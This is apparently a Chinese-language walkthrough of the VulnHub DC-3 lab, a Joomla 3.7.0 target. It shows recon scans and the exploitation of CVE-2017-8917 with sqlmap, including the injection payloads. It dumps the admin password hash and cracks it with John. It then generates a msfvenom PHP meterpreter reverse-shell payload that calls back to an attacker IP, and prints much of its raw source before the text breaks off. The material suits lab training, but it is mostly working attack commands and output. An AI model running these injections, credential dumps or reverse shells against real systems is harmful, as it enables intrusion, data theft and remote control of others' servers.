【vulnhub】【DC系列】DC3 - Joomla 靶机

1、信息收集

1.1、端口扫描

sudo netdiscover -i eth0 发现靶机 ip:192.168.57.149

$ nmap -sSV -p 1-65535 --open -T4 -Pn -n -A --version-intensity=9 -oN /home/kali/Desktop/nmap_scan/192.168.57.149.txt 192.168.57.149
Nmap scan report for 192.168.57.149
Host is up (0.0013s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:E7:C1:CD (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.29 ms 192.168.57.149

OS and Service detection performed. Please report any incorrect results at h
ttps://nmap.org/submit/ .
# Nmap done at Wed Dec 30 10:21:44 2020 -- 1 IP address (1 host up) scanned 
in 16.36 seconds

发现仅开放80 端口

1.2、目录扫描

$ gobuster dir -u http://dc-3 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://dc-3
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/30 13:34:09 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/administrator (Status: 301)
/bin (Status: 301)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/cache (Status: 301)
/components (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/index.php (Status: 200)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
===============================================================
2020/12/30 13:34:10 Finished
===============================================================

发现疑似管理界面 administrator,访问发现需要登陆。同时尝试访问其他301目录,均不允许put上传

1.3、漏洞信息收集

通过使用joomscan发现joomla版本为:3.7.0

    ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://dc-3 ...



[+] FireWall Detector
[++] Firewall not detected
                                                                            
[+] Detecting Joomla Version                                                
[++] Joomla 3.7.0                                                           
                                                                            
[+] Core Joomla Vulnerability                                               
[++] Target Joomla core is not vulnerable                                   
                                                                            
[+] Checking Directory Listing                                              
[++] directory has directory listing :                                      
http://dc-3/administrator/components                                        
http://dc-3/administrator/modules                                           
http://dc-3/administrator/templates                                         
http://dc-3/images/banners                                                  
                                                                            
                                                                            
[+] Checking apache info/status files                                       
[++] Readable info/status files are not found                               
                                                                            
[+] admin finder                                                            
[++] Admin page : http://dc-3/administrator/                                
                                                                            
[+] Checking robots.txt existing                                            
[++] robots.txt is not found                                                
                                                                            
[+] Finding common backup files name                                        
[++] Backup files are not found                                             
                                                                            
[+] Finding common log files name                                           
[++] error log is not found                                                 
                                                                            
[+] Checking sensitive config.php.x file                                    
[++] Readable config files are not found                                    
                                                                            
                                                                            
Your Report : reports/dc-3/

通过searchsploit搜索joomla 3.7.0发现存在SQL注入漏洞

$ searchsploit joomla 3.7.0
------------------------------------------ ---------------------------------
 Exploit Title                            |  Path
------------------------------------------ ---------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injectio | php/webapps/42033.txt
Joomla! Component Easydiscuss < 4.0.21 -  | php/webapps/43488.txt
------------------------------------------ ---------------------------------
Shellcodes: No Results
$ more /usr/share/exploitdb/exploits/php/webapps/42033.txt 
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joo
mla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&lay
out=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=m
odal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -
p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(
CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELEC
T 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(
SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,
1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS 
GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substractio
n)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(
SELECT * FROM (SELECT(SLEEP(5)))GDiu)

1.4、信息获取

根据搜索得到的漏洞利用结果,尝试获取登陆用户名及密码

# 获取当前使用的数据库名
$ sudo sqlmap -u "http://dc-3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --current-db
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:43:33 /2020-12-30/

[13:43:33] [INFO] resuming back-end DBMS 'mysql' 
[13:43:33] [INFO] testing connection to the target URL
[13:43:33] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=o29g0o1np43...mkchm5f2g7'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(8173,CONCAT(0x2e,0x716a716b71,(SELECT (ELT(8173=8173,1))),0x71786a6a71),8089))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 9759 FROM (SELECT(SLEEP(5)))tBMR)
---
[13:43:35] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[13:43:35] [INFO] fetching current database
[13:43:35] [INFO] retrieved: 'joomladb'
current database: 'joomladb'
[13:43:35] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[13:43:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/dc-3'                                                       

[*] ending @ 13:43:35 /2020-12-30/
# 获取当前数据库下的表名
kali@kali:~$ sudo sqlmap -u "http://dc-3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables
        ___
       __H__                                                                
 ___ ___[']_____ ___ ___  {1.4.11#stable}                                   
|_ -| . [(]     | .'| . |                                                   
|___|_  [.]_|_|_|__,|  _|                                                   
      |_|V...       |_|   http://sqlmap.org                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:43:58 /2020-12-30/

[13:43:59] [INFO] resuming back-end DBMS 'mysql' 
[13:43:59] [INFO] testing connection to the target URL
[13:43:59] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=55lhbou181d...7jf366alv0'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(8173,CONCAT(0x2e,0x716a716b71,(SELECT (ELT(8173=8173,1))),0x71786a6a71),8089))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 9759 FROM (SELECT(SLEEP(5)))tBMR)
---
[13:44:00] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[13:44:00] [INFO] fetching tables for database: 'joomladb'
Database: joomladb
[76 tables]
+---------------------+
| #__assets           |
| #__associations     |
| #__banner_clients   |
| #__banner_tracks    |
| #__banners          |
| #__bsms_admin       |
| #__bsms_books       |
| #__bsms_comments    |
| #__bsms_locations   |
| #__bsms_mediafiles  |
| #__bsms_message_typ |
| #__bsms_podcast     |
| #__bsms_series      |
| #__bsms_servers     |
| #__bsms_studies     |
| #__bsms_studytopics |
| #__bsms_teachers    |
| #__bsms_templatecod |
| #__bsms_templates   |
| #__bsms_timeset     |
| #__bsms_topics      |
| #__bsms_update      |
| #__categories       |
| #__contact_details  |
| #__content_frontpag |
| #__content_rating   |
| #__content_types    |
| #__content          |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions       |
| #__fields_categorie |
| #__fields_groups    |
| #__fields_values    |
| #__fields           |
| #__finder_filters   |
| #__finder_links_ter |
| #__finder_links     |
| #__finder_taxonomy_ |
| #__finder_taxonomy  |
| #__finder_terms_com |
| #__finder_terms     |
| #__finder_tokens_ag |
| #__finder_tokens    |
| #__finder_types     |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages        |
| #__menu_types       |
| #__menu             |
| #__messages_cfg     |
| #__messages         |
| #__modules_menu     |
| #__modules          |
| #__newsfeeds        |
| #__overrider        |
| #__postinstall_mess |
| #__redirect_links   |
| #__schemas          |
| #__session          |
| #__tags             |
| #__template_styles  |
| #__ucm_base         |
| #__ucm_content      |
| #__ucm_history      |
| #__update_sites_ext |
| #__update_sites     |
| #__updates          |
| #__user_keys        |
| #__user_notes       |
| #__user_profiles    |
| #__user_usergroup_m |
| #__usergroups       |
| #__users            |
| #__utf8_conversion  |
| #__viewlevels       |
+---------------------+

[13:44:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[13:44:00] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/dc-3'                                                       

[*] ending @ 13:44:00 /2020-12-30/
# 获取数据库表名下的列名
kali@kali:~$ sudo sqlmap -u "http://dc-3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T '#__users' --columns
        ___
       __H__                                                                
 ___ ___[)]_____ ___ ___  {1.4.11#stable}                                   
|_ -| . [)]     | .'| . |                                                   
|___|_  [(]_|_|_|__,|  _|                                                   
      |_|V...       |_|   http://sqlmap.org                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:44:18 /2020-12-30/

[13:44:18] [INFO] resuming back-end DBMS 'mysql' 
[13:44:18] [INFO] testing connection to the target URL
[13:44:18] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=fj2b2fhe5r6...5dqbucr944'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(8173,CONCAT(0x2e,0x716a716b71,(SELECT (ELT(8173=8173,1))),0x71786a6a71),8089))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 9759 FROM (SELECT(SLEEP(5)))tBMR)
---
[13:44:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[13:44:19] [INFO] fetching columns for table '#__users' in database 'joomladb'                                                                          
[13:44:19] [WARNING] unable to retrieve column names for table '#__users' in database 'joomladb'
do you want to use common column existence check? [y/N/q] y
[13:44:20] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
which common columns (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter)
[2] custom
> 
[13:44:21] [INFO] checking column existence using items from '/usr/share/sqlmap/data/txt/common-columns.txt'                                            
[13:44:21] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 
[13:44:22] [WARNING] running in a single-thread mode. This could take a while
[13:44:22] [INFO] retrieved: id                                            
[13:44:22] [INFO] retrieved: name                                          
[13:44:22] [INFO] retrieved: username                                      
[13:44:23] [INFO] retrieved: email                                         
[13:44:28] [INFO] retrieved: password                                      
[13:45:25] [INFO] retrieved: params                                        
                                                                           
Database: joomladb
Table: #__users
[6 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | non-numeric |
| id       | numeric     |
| name     | non-numeric |
| params   | non-numeric |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+

[13:45:40] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2638 times
[13:45:40] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/dc-3'                                                       

[*] ending @ 13:45:40 /2020-12-30/
# 获取数据
kali@kali:~$ sudo sqlmap -u "http://dc-3/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T '#__users' -C 'username,password' --dump
        ___
       __H__                                                                
 ___ ___["]_____ ___ ___  {
    
    1.4.11#stable}                                   
|_ -| . [.]     | .'| . |                                                   
|___|_  [']_|_|_|__,|  _|                                                   
      |_|V...       |_|   http://sqlmap.org                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:46:25 /2020-12-30/

[13:46:26] [INFO] resuming back-end DBMS 'mysql' 
[13:46:26] [INFO] testing connection to the target URL
[13:46:26] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=4gprbk55c1t...d058c8dtc1'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(8173,CONCAT(0x2e,0x716a716b71,(SELECT (ELT(8173=8173,1))),0x71786a6a71),8089))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 9759 FROM (SELECT(SLEEP(5)))tBMR)
---
[13:46:27] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[13:46:27] [INFO] fetching entries of column(s) 'password,username' for table '#__users' in database 'joomladb'
[13:46:27] [INFO] resumed: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZ...
[13:46:27] [INFO] resumed: 'admin'
Database: joomladb
Table: #__users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+

[13:46:27] [INFO] table 'joomladb.`#__users`' dumped to CSV file '/root/.local/share/sqlmap/output/dc-3/dump/joomladb/#__users.csv'                     
[13:46:27] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[13:46:27] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/dc-3'                                                       

[*] ending @ 13:46:27 /2020-12-30/
# 爆破密码
echo 'admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > Desktop/hash
# John爆破
$ john Desktop/hash --wordlist=/usr/share/wordlists/rockyou.txt --fork=64
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)
kali@kali:~$ john Desktop/hash --show
admin:snoopy # 用户名:密码

1 password hash cracked, 0 left

2、获取shell

使用得到的账号密码登陆管理界面,写入payload反弹shell

# 生成payload
$ msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.57.200 lport=1234 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34281 bytes
/*<?php /**/ if (!isset($GLOBALS['channels'])) {
    
     $GLOBALS['channels'] = array(); } if (!isset($GLOBALS['channel_process_map'])) {
    
     $GLOBALS['channel_process_map'] = array(); } if (!isset($GLOBALS['resource_type_map'])) {
    
     $GLOBALS['resource_type_map'] = array(); } if (!isset($GLOBALS['udp_host_map'])) {
    
     $GLOBALS['udp_host_map'] = array(); } if (!isset($GLOBALS['readers'])) {
    
     $GLOBALS['readers'] = array(); } if (!isset($GLOBALS['id2f'])) {
    
     $GLOBALS['id2f'] = array(); } function register_command($c, $i) {
    
     global $id2f; if (! in_array($i, $id2f)) {
    
     $id2f[$i] = $c; } } function my_print($str) {
    
     } my_print("Evaling main meterpreter stage"); function dump_array($arr, $name=null) {
    
     if (is_null($name)) {
    
     $name = "Array"; } my_print(sprintf("$name (%s)", count($arr))); foreach ($arr as $key => $val) {
    
     if (is_array($val)) {
    
     dump_array($val, "{
    
    $name}[{
    
    $key}]"); } else {
    
     my_print(sprintf(" $key ($val)")); } } } function dump_readers() {
    
     global $readers; dump_array($readers, 'Readers'); } function dump_resource_map() {
    
     global $resource_type_map; dump_array($resource_type_map, 'Resource map'); } function dump_channels($extra="") {
    
     global $channels; dump_array($channels, 'Channels '.$extra); } if (!function_exists("file_get_contents")) {
    
     function file_get_contents($file) {
    
     $f = @fopen($file,"rb"); $contents = false; if ($f) {
    
     do {
    
     $contents .= fgets($f); } while (!feof($f)); } fclose($f); return $contents; } } if (!function_exists('socket_set_option')) {
    
     function socket_set_option($sock, $type, $opt, $value) {
    
     socket_setopt($sock, $type, $opt, $value); } } define("PAYLOAD_UUID", "\xfb\xc3\x39\xca\x94\x03\xc6\x17\x67\xc4\x74\xcb\x38\x28\x71\x87"); define("SESSION_GUID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"); define("AES_256_CBC", 'aes-256-cbc'); define("ENC_NONE", 0); define("ENC_AES256", 1); define("PACKET_TYPE_REQUEST", 0); define("PACKET_TYPE_RESPONSE", 1); define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); define("ERROR_SUCCESS", 0); define("ERROR_FAILURE", 1); define("CHANNEL_CLASS_BUFFERED", 0); define("CHANNEL_CLASS_STREAM", 1); define("CHANNEL_CLASS_DATAGRAM", 2); define("CHANNEL_CLASS_POOL", 3); define("TLV_META_TYPE_NONE", ( 0 )); define("TLV_META_TYPE_STRING", (1 << 16)); define("TLV_META_TYPE_UINT", (1 << 17)); define("TLV_META_TYPE_RAW", (1 << 18)); define("TLV_META_TYPE_BOOL", (1 << 19)); define("TLV_META_TYPE_QWORD", (1 << 20)); define("TLV_META_TYPE_COMPRESSED", (1 << 29)); define("TLV_META_TYPE_GROUP", (1 << 30)); define("TLV_META_TYPE_COMPLEX", (1 << 31)); define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)); define("TLV_RESERVED", 0); define("TLV_EXTENSIONS", 20000); define("TLV_USER", 40000); define("TLV_TEMP", 60000); define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); define("TLV_TYPE_COMMAND_ID", TLV_META_TYPE_UINT | 1); define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460); define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461); define("TLV_TYPE_SESSION_GUID", TLV_META_TYPE_RAW | 462); define("TLV_TYPE_RSA_PUB_KEY", TLV_META_TYPE_RAW | 550); define("TLV_TYPE_SYM_KEY_TYPE", TLV_META_TYPE_UINT | 551); define("TLV_TYPE_SYM_KEY", TLV_META_TYPE_RAW | 552); define("TLV_TYPE_ENC_SYM_KEY", TLV_META_TYPE_RAW | 553); define('EXTENSION_ID_CORE', 0); define('COMMAND_ID_CORE_CHANNEL_CLOSE', 1); define('COMMAND_ID_CORE_CHANNEL_EOF', 2); define('COMMAND_ID_CORE_CHANNEL_INTERACT', 3); define('COMMAND_ID_CORE_CHANNEL_OPEN', 4); define('COMMAND_ID_CORE_CHANNEL_READ', 5); define('COMMAND_ID_CORE_CHANNEL_SEEK', 6); define('COMMAND_ID_CORE_CHANNEL_TELL', 7); define('COMMAND_ID_CORE_CHANNEL_WRITE', 8); define('COMMAND_ID_CORE_CONSOLE_WRITE', 9); define('COMMAND_ID_CORE_ENUMEXTCMD', 10); define('COMMAND_ID_CORE_GET_SESSION_GUID', 11); define('COMMAND_ID_CORE_LOADLIB', 12); define('COMMAND_ID_CORE_MACHINE_ID', 13); define('COMMAND_ID_CORE_MIGRATE', 14); define('COMMAND_ID_CORE_NATIVE_ARCH', 15); define('COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION', 16); define('COMMAND_ID_CORE_PATCH_URL', 17); define('COMMAND_ID_CORE_PIVOT_ADD', 18); define('COMMAND_ID_CORE_PIVOT_REMOVE', 19); define('COMMAND_ID_CORE_PIVOT_SESSION_DIED', 20); define('COMMAND_ID_CORE_SET_SESSION_GUID', 21); define('COMMAND_ID_CORE_SET_UUID', 22); define('COMMAND_ID_CORE_SHUTDOWN', 23); define('COMMAND_ID_CORE_TRANSPORT_ADD', 24); define('COMMAND_ID_CORE_TRANSPORT_CHANGE', 25); define('COMMAND_ID_CORE_TRANSPORT_GETCERTHASH', 26); define('COMMAND_ID_CORE_TRANSPORT_LIST', 27); define('COMMAND_ID_CORE_TRANSPORT_NEXT', 28); define('COMMAND_ID_CORE_TRANSPORT_PREV', 29); define('COMMAND_ID_CORE_TRANSPORT_REMOVE', 30); define('COMMAND_ID_CORE_TRANSPORT_SETCERTHASH', 31); define('COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS', 32); define('COMMAND_ID_CORE_TRANSPORT_SLEEP', 33); function my_cmd($cmd) {
    
     return shell_exec($cmd); } function is_windows() {
    
     return (strtoupper(substr(PHP_OS,0,3)) == "WIN"); } if (!function_exists('core_channel_open')) {
    
     register_command('core_channel_open', COMMAND_ID_CORE_CHANNEL_OPEN); function core_channel_open($req, &$pkt) {
    
     $type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE); my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do"); $handler = "channel_create_". $type_tlv['value']; if ($type_tlv['value'] && is_callable($handler)) {
    
     my_print("Calling {
    
    $handler}"); $ret = $handler($req, $pkt); } else {
    
     my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =("); $ret = ERROR_FAILURE; } return $ret; } } if (!function_exists('core_channel_eof')) {
    
     register_command('core_channel_eof', COMMAND_ID_CORE_CHANNEL_EOF); function core_channel_eof($req, &$pkt) {
    
     my_print("doing channel eof"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $c = get_channel_by_id($chan_tlv['value']); if ($c) {
    
     if (eof($c[1])) {
    
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1)); } else {
    
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0)); } return ERROR_SUCCESS; } else {
    
     return ERROR_FAILURE; } } } if (!function_exists('core_channel_read')) {
    
     register_command('core_channel_read', COMMAND_ID_CORE_CHANNEL_READ); function core_channel_read($req, &$pkt) {
    
     my_print("doing channel read"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); $id = $chan_tlv['value']; $len = $len_tlv['value']; $data = channel_read($id, $len); if ($data === false) {
    
     $res = ERROR_FAILURE; } else {
    
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); $res = ERROR_SUCCESS; } return $res; } } if (!function_exists('core_channel_write')) {
    
     register_command('core_channel_write', COMMAND_ID_CORE_CHANNEL_WRITE); function core_channel_write($req, &$pkt) {
    
     $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); $id = $chan_tlv['value']; $data = $data_tlv['value']; $len = $len_tlv['value']; $wrote = channel_write($id, $data, $len); if ($wrote === false) {
    
     return ERROR_FAILURE; } else {
    
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote)); return ERROR_SUCCESS; } } } if (!function_exists('core_channel_close')) {
    
     register_command('core_channel_close', COMMAND_ID_CORE_CHANNEL_CLOSE); function core_channel_close($req, &$pkt) {
    
     global $channel_process_map; my_print("doing channel close"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $id = $chan_tlv['value']; $c = get_channel_by_id($id); if ($c) {
    
     channel_close_handles($id); channel_remove($id); if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) {
    
     close_process($channel_process_map[$id]); } return ERROR_SUCCESS; } dump_channels("after close"); return ERROR_FAILURE; } } if (!function_exists('channel_close_handles')) {
    
     function channel_close_handles($cid) {
    
     global $channels; if (!array_key_exists($cid, $channels)) {
    
     return; } $c = $channels[$cid]; for($i = 0; $i < 3; $i++) {
    
     if (array_key_exists($i, $c) && is_resource($c[$i])) {
    
     close($c[$i]); remove_reader($c[$i]); } } if (strlen($c['data']) == 0) {
    
     channel_remove($cid); } } } function channel_remove($cid) {
    
     global $channels; unset($channels[$cid]); } if (!function_exists('core_channel_interact')) {
    
     register_command('core_channel_interact', COMMAND_ID_CORE_CHANNEL_INTERACT); function core_channel_interact($req, &$pkt) {
    
     global $readers; my_print("doing channel interact"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $id = $chan_tlv['value']; $toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL); $c = get_channel_by_id($id); if ($c) {
    
     if ($toggle_tlv['value']) {
    
     if (!in_array($c[1], $readers)) {
    
     add_reader($c[1]); if (array_key_exists(2, $c) && $c[1] != $c[2]) {
    
     add_reader($c[2]); } $ret = ERROR_SUCCESS; } else {
    
     $ret = ERROR_FAILURE; } } else {
    
     if (in_array($c[1], $readers)) {
    
     remove_reader($c[1]); remove_reader($c[2]); $ret = ERROR_SUCCESS; } else {
    
